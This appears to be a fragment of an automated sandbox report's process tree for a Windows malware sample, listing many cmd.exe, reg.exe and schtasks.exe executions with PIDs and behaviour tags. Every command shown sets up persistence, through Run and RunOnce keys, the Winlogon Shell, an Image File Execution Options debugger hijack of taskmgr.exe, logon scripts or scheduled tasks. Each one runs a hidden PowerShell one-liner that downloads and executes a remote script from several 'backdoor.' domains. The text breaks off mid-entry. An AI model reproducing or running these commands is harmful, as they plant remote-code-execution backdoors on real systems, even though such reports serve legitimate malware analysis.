                                                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                                                                5⤵
                                                                                                                                                                                • Modifies WinLogon for persistence
                                                                                                                                                                                PID:3332
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                              4⤵
                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                              PID:4204
                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                5⤵
                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                PID:116
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                                                              4⤵
                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                              PID:5076
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /f
                                                                                                                                                                                5⤵
                                                                                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                PID:3548
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:7760
                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
                                                                                                                                                                                  5⤵
                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                  PID:7780
                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:1468
                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                    PID:6680
                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:4448
                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                      PID:6688
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                    4⤵
                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                    PID:7836
                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.tk88lighting.in.net/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                      PID:5968
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:4940
                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
                                                                                                                                                                                        5⤵
                                                                                                                                                                                        • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                        PID:2104
                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:920
                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • Modifies WinLogon for persistence
                                                                                                                                                                                          PID:6460
                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:1376
                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                                                                                            5⤵
                                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                                            PID:5220
                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
                                                                                                                                                                                          4⤵
                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                          PID:7376
                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                            reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
                                                                                                                                                                                            5⤵
                                                                                                                                                                                            • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                            PID:4436
                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:7532
                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                              5⤵
                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                              PID:4452
                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:228
                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                PID:2908
                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                              PID:6172
                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                PID:6748
                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                              PID:6596
                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                PID:7256
                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                              PID:8036
                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                PID:6548
                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:3308
                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                  • Modifies WinLogon for persistence
                                                                                                                                                                                                  PID:7320
                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:2644
                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                    PID:1504
                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:3844
                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                      • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                      PID:7244
                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                    PID:4584
                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                      reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                      • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                      PID:6468
                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:1236
                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                        • Modifies WinLogon for persistence
                                                                                                                                                                                                        PID:7152
                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:4264
                                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                          schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                          PID:3068
                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:4256
                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                            schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifareport.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                            PID:2096
                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:7312
                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                              • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                              PID:6788
                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:552
                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                PID:6716
                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                              PID:7840
                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                                PID:5096
                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:6496
                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ee88-e888-com.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                  PID:7948
                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:5212
                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                    PID:6460
                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                  PID:6780
                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55red.me/malware/load.ps1')\"" /f
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                    PID:6240
                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:5572
                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                                                      PID:7688
                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.abgstore.com.co/malware/load.ps1')\"" /f
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:5200
                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
